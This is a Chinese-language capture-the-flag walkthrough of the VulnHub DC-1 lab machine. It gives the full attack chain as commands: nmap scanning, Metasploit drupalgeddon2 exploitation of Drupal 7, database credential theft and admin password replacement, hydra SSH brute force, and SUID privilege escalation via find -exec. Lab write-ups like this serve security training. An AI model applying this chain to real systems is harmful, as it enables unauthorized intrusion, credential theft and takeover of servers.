DC-1 渗透
参考[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)_vulnhub靶场-CSDN博客
1.信息收集
第一步,目标IP探测 首先需要探测目标靶场的IP,使用arp-scan命令探测目标的IP地址:arp-scan -l
第二步,端口扫描
nmap命令的基本用法如下:
-sS:半开扫描,记入系统日志风险小;-sP:扫描端口前,先使用ping扫描,保证主机存活;
-T4:这个选项设置了时间模板,T4 表示“快速扫描”。它使 Nmap 在扫描时更快,但可能会增加被检测到的风险。时间模板的范围是从 T0(极慢)到 T5(最快)。
-A:全面系统检测,启用脚本检测和扫描
-p-:这个选项表示扫描所有端口(从 1 到 65535),而不是默认的 1-1024 范围。
输入命令:nmap -sS -T4 -A -p- 192.168.80.129
扫描结果(主机开放端口)如下,常用的端口22和88,也需要注意一些特殊的端口可能存在漏洞。
22:SSH远程连接;80:HTTP网站协议,Drupal;111:rpcbind协议;42969:敏感端口
访问web站点,发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS
利用Metasploit(MSF)渗透
接下来使用metasploit工具对漏洞进行利用。
第一步,启动metasploit
第二步,搜索drupal模块,采用2018 搜索这个CMS在MSF中能进行利用的方法,前面我们已经查询CVE-2018-7600是常见的漏洞。如果不知道的情况下,我们就需要一个个攻击模块的尝试。search drupal
第三步,采用最新的2018漏洞尝试攻击,配置参数
use exploit/unix/webapp/drupal_drupalgeddon2
show options:显示配置参数,其中RHOSTS是必填项
第四步,反弹shell
set RHOSTS 192.168.80.129
exploit
shell
ls
发现了第一个文件flag1.txt
在/var/www/下有个flag1.txt,提示我们查看配置文件。
虽然shell已经进入,但它并不是交互的shell,所以我们要进入交互式的shell。
使用python反弹一个交互式shell: python -c ‘import pty;pty.spawn(“/bin/bash”)’
drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。
- cat /var/www/sites/default/settings.php
接着发现了flag2以及数据库账号密码。flag2提示,提升权限为root来查看敏感文件,或者直接爆破
先进入数据库查看
1
mysql -u dbuser -p
查看数据库,切换到drupaldb数据库
1
2
show databases;
use drupaldb
查看查找默认的Drupal user 表
1
select * from users;
发现admin信息
置换drupal密码http://drupalchina.cn/node/2128
进入www目录
1
quit;
站点路径下执行
1
php scripts/password-hash.sh 新密码
然后在进入数据库中把密码字段进行替换 进入mysql,输入密码,切换到drupaldb数据库
1
2
3
mysql -u dbuser -p
R0ck3t
use drupaldb
将pass字段进行替换
1
update users set pass="$S$DW/j0Hhhx6pIBV4ZkoBp3mv/5l8reTwEBdpgzB/x8awTYUfFkd2k" where name="admin";
登录站点
访问站点,进行登录,密码是之前我们自己替换的,账号是admin。登录后点击Find content发现flag3
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
大致意思是提权并提示 -exec,想到suid提权。提权前可以先看一下flag4的提示
查看/etc/password文件,发现flag4用户。
尝试查看flag4用户的家目录,确实存在flag4.txt文件。ls /home/flag4 cat /home/flag4/flag4.txt
提示信息为:在root里?
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
使用hydra进行密码爆破。hydra -l flag4 -P passwords.txt ssh://192.168.80.129
-l:指定用户名;-P:加载自定义密码字典;ssh://ip:指定使用协议和ip地址
最终结果为:login: flag4, password: orange
SSH远程登录
接着使用flag4用户进行ssh远程登录系统。ssh flag4@192.168.80.129,密码: orange
这部分爆破和ssh远程登录在这里没什么用,如果没权限读flag4.txt的话才会用到
提权
找到具有suid权限的文件: find / -perm -4000 2>/dev/null
发现/usr/bin/find有suid权限,提权命令:/usr/bin/find . -exec /bin/sh \; -quit
进入/root,得到thefinalflag








